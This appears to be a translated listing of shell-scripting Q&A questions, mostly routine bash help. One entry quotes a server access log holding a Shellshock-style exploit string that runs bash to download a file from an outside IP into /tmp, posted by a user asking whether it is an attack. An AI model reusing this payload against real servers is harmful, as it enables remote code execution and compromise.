Perguntas sobre 'shell-script'

8
respostas

Como posso executar um script de shell no Windows? [duplicado]

Sou usuário de Mac e novo no Windows. Como posso executar um script de shell no Windows? Geralmente, eu salvaria o arquivo de texto com a extensão .sh e o executaria via Terminal. Mas como eu poderia fazer isso no Windows?     
02.01.2012 / 06:07
3
respostas

Como atualizar o bash no Mac OS X Yosemite

Apenas tentando aprender um script bash um pouco. Minha versão antiga do bash: Bash version 3.2.53(1)-release... Eu atualizei meu bash no mac os x yosemite com homebrew: brew update brew install bash Em seguida, nas propriedades do...
27.12.2014 / 02:27
3
respostas

Isso é um ataque ou algo para se preocupar? Trauma pós guerra?

Vi isso no access.log no meu servidor de teste: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.2...
29.09.2014 / 16:26
4
respostas

Como substituir parte de um arquivo de texto entre marcadores com outro arquivo de texto?

Digamos que eu tenha um arquivo de texto como este: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Gostaria de substituir a parte entre as tags GENERATED CONTENT pelo conteúdo de outro arquivo....
22.06.2012 / 05:00
3
respostas

Determina a arquitetura de um Mac a partir da linha de comando ou script?

Estou escrevendo um script de shell e preciso conhecer a arquitetura, ou seja, PPC ou Intel. No passado, havia um programa / bin / arch que dizia, mas meu Mac não parece ter isso. Existe uma maneira fácil de fazer isso? Grep para algo em um a...
03.06.2010 / 18:09
2
respostas

Como faço para concatenar strings em um script bash?

Como posso concatenar strings e variáveis em um script de shell? stringOne = "foo" stringTwo = "anythingButBar" stringThree = "? and ?" Eu quero produzir "foo e anythingButBar"     
27.01.2011 / 23:19
4
respostas

Devo colocar extensões de arquivo * .sh e * .rb em todos os meus scripts?

Eu tenho um monte de scripts executáveis enrolados à mão no meu diretório $ HOME / bin. Alguns são escritos em bash, alguns em Ruby. Todos eles têm a linha shebang no topo dizendo ao shell que interpretador usar (bash ou Ruby, no meu caso). G...
07.10.2011 / 18:56
2
respostas

Escrevendo scripts de shell que serão executados em qualquer shell (usando várias linhas shebang?)

Eu comecei a me aprofundar mais no shell script, e eu sempre coloquei meu script em um arquivo, marquei chmod +x e então fiz /path/to/script.sh e deixei o interpretador usar como padrão. , que eu assumi que era zsh porque é isso que eu use...
08.11.2012 / 18:54
3
respostas

Passando dois argumentos para um comando usando pipes

Normalmente, só precisamos passar um argumento: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file Existe uma maneira de passar dois argumentos? Algo como {echo abc , echo xyz} | cat cat 'echo abc' 'echo xyz' Eu p...
01.08.2011 / 22:54
2
respostas

Script shell ecoa nova linha para arquivo

Eu quero repetir uma nova linha para um arquivo entre variáveis em um script de shell. Aqui está o meu código: var1="Hello" var2="World!" logwrite="$var1 [Here's where I want to insert a new line] $var2 echo "$logwrite" >> /Users/user...
22.07.2011 / 22:18